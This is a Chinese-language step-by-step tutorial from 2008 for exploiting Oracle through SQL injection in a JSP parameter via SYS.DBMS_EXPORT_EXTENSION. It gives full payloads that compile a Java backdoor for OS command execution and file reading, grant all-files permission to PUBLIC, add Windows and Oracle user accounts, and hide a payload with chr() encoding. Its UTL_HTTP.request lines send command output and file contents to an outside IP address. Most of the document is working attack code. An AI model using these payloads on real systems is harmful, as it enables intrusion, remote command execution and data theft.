以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 $ U# I5 j* D: W
: w* y8 |) S0 h5 o- {: \1 u /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
2 |3 i3 J% y! y5 [& |的形式即可。(用" 'a'|| "是为了让语句返回true值)
8 k5 K' H/ Z, a6 @$ S# I语句有点长,可能要用post提交。
4 \' L6 @/ l# V9 U. x# C$ U" w以下是各个步骤: , j" r7 ]9 t, e$ V8 M! R! v
1.创建包 6 a1 m) U9 U( y+ t
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
; v2 _+ Z% v" ~4 V* v; O7 A" b/xxx.jsp?id=1 and '1'<>'a'||(
+ ~8 R( K+ A0 _0 d7 g: |/ Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 Q; \, G, `5 h! tcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
* L/ y( h% E7 Y2 Wnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. j& b3 S O$ b, r$ \+ D
}'''';END;'';END;--','SYS',0,'1',0) from dual
/ d8 n% n" i1 A5 U' c) - U" J$ X6 x4 ?* z
------------------------ * I; M" y/ U* P) ]# t0 ^- C) T
如果url有长度限制,可以把readFile()函数块去掉,即:
8 n- S3 H! D: Z0 `( Z" O! l( r/xxx.jsp?id=1 and '1'<>'a'||( ' x# t( \' G+ x) |( Y: h/ I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 J z/ s% [2 l; O+ V& Ycreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(8 m! O2 o; l) m
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}6 l+ R/ i: h3 G0 E
}'''';END;'';END;--','SYS',0,'1',0) from dual
7 @. a. Q2 p H# A% Y)
. L6 ^; P. l# K) n" M同时把后面步骤 提到的 对readFile()的处理语句去掉。 & c! t/ m( P* p
------------------------------
" {3 R y3 e5 I3 { X) }" ?2.赋Java权限 + [" H1 d8 j! ?2 k) _; T- F0 q2 k" e$ u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3 y+ C: k0 w" o7 C" n1 k3.创建函数 - ^2 [' y8 `- [8 b4 M, e' [9 M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- _0 j: Z% {6 B5 G/ w; Zcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual5 h0 _, C' \3 \ Y* c" _1 u1 A$ c u3 M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, P$ i& X2 n4 E |+ W* _; d0 Lcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
7 k+ O, r' j+ k( l/ w, w, `4.赋public执行函数的权限
+ y2 _; |; x8 H; Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
6 s: D) O/ M+ k& Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
1 ?2 L. |! e. i9 W/ n5 {9 t5.测试上面的几步是否成功
4 o. X8 O2 u5 n2 _% l- I6 T# Cand '1'<>'11'||( S7 e+ Q! t! Z( N M7 C
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 8 @+ x7 H8 J, `& F
)
/ Z" j" Q% Z: D' `; `$ F( Tand '1'<>(
4 \( t7 H) @3 m: T& pselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
( `6 j% d+ w( j4 h# O: q% `) : y' E0 J! A$ ]# @# e9 m
6.执行命令:
, B3 Z. S" T8 x$ C, N/xxx.jsp?id=1 and '1'<>( 3 H& x) \1 V# k# N
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
, j o) `- M5 W- A
- i6 e) c" Z: ?)
. O! q. q4 C y* j7 b- t, ?2 Y; U7 g0 N/xxx.jsp?id=1 and '1'<>( ! z$ j- e9 V1 c) U' J
select sys.LinxReadFile('c:/boot.ini') from dual' R; g" D" u1 B* C' m+ u
% }1 L! m. n* ]: Z; _& \% Q* O)' A2 o2 [ h$ W- U: q
" E- b2 l! x6 Q$ h. l r
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
! @1 e; o8 Q% v* F! E$ j9 P5 A- T如果要查看运行结果可以用 union :
* F% Z7 ?) ?+ ?$ ~' D2 [/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual) Y: h4 g, t% n& T' `1 b
或者UTL_HTTP.request(: 7 s$ X2 p$ v2 f3 u- J0 q6 @
/xxx.jsp?id=1 and '1'<>(
* A+ k3 N; R7 ~$ B- B8 eSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual8 r8 u5 J9 W8 F7 @3 R1 i5 Y8 A" L( g
) ?' E! s0 t# Q* p" _
/xxx.jsp?id=1 and '1'<>(
, y$ \2 P5 P7 z2 X# YSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
# j' z: P& A7 ]* o: A9 d6 H! v) * B6 D( N/ `8 s) S/ \& q
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。* C* {. w" r* j- f/ e8 e
-------------------- 9 m8 e1 @5 w3 o4 e6 ~) ~
6.内部变化 & a" b2 T! u0 b8 [2 |
通过以下命令可以查看all_objects表达改变:
% N5 N5 q1 e; D/ U2 p. C1 z6 pselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'/ X+ x$ H+ S# D0 h8 `5 W
7.删除我们创建的函数
! `0 u: U) S6 z3 Q dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 u: |& s- o! p# J. b
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
D) v# Z' ?2 G# w====================================================
1 p. M: y" t; T: |, m) c7 j5 N全文结束。谨以此文赠与我的朋友。 - W5 e# j* ]5 T7 m+ y
linx % h; r+ P4 v# q, Z! A) P, w0 c
124829445 ' ]9 a3 O$ ^4 J9 O
2008.1.12 ! @0 e9 V& R" n3 r6 W, z
linyujian@bjfu.edu.cn ; _1 i+ b |. y3 X
====================================================================== & r4 l! A4 @' p! H, K+ l
测试漏洞的另一方法:
' \5 W* C: X1 C! V- \' P+ |4 V创建oracle帐号: * q1 \! o) S* d @1 w( [! L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 Z/ q3 M8 a, g8 ]+ u6 FCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual6 ^) I1 D* F9 U$ d; ?* O
即: - y9 C( J+ e9 _* t. t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
( \- a0 W( m; [5 o( ~$ K: echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 4 b* ^3 V/ R7 D3 h" E! W
确定漏洞存在:
% T) r! Q% ^4 b0 h& Y. G& I1<>( " ?% E, L, ~- F0 _/ {0 v
select user_id from all_users where username='LINXSQL'
4 F$ V5 j$ Y, Q( m+ D {) / S1 E; K3 K" x( M
给linxsql连接权限:
, F2 @# ~- q" j2 U6 b1 x+ ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! w+ `' y2 b, f9 e
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
% q& w, S) K8 w删除帐号: , v" d( T y/ s4 D; v" l1 D( E' g- V+ S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 }6 l7 Z' ], H7 Zdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 0 u1 Y# y Z; T9 M! g
====================== 4 \- a8 p* y) T7 M& r
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
' D2 s. x3 e3 S( u& h1.jsp?id=1 and '1'<>(
2 h0 D, C% W# Z1 r: q$ ~8 a( [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. v5 }2 M& z8 S. _create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual2 O' B' T2 t/ x
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE3 V; X. p3 P% X6 ?2 _$ e) h% A
)
" P) \# q( g; U
" g: w. _. j$ r) l8 U
7 {0 m$ m2 y8 C: b* x5 q. A- E1 e8 i, P% I
|